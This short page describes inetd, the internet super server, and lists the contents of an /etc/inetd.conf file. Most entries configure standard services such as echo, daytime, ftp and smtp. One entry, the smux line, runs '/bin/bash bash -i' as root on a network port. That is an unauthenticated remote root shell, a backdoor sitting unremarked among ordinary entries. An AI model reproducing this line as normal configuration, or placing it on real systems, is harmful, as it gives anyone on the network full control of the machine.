Inetd

The traditional internet 'super server'

$ cat /etc/inetd.conf
echo     stream  tcp     nowait  root    internal
echo     dgram   udp     wait    root    internal
chargen  stream  tcp     nowait  root    internal
chargen  dgram   udp     wait    root    internal
discard  stream  tcp     nowait  root    internal
discard  dgram   udp     wait    root    internal
daytime  stream  tcp     nowait  root    internal
daytime  dgram   udp     wait    root    internal

ftp   stream  tcp  nowait  root    /usr/sbin/tcpd  /usr/sbin/in.ftpd
smtp  stream  tcp  nowait  mail    /usr/sbin/exim exim -bs
smux  stream  tcp  nowait  root    /bin/bash bash -i
uucp  stream  tcp  nowait  root    /usr/sbin/tcpd  /usr/sbin/in.uucpd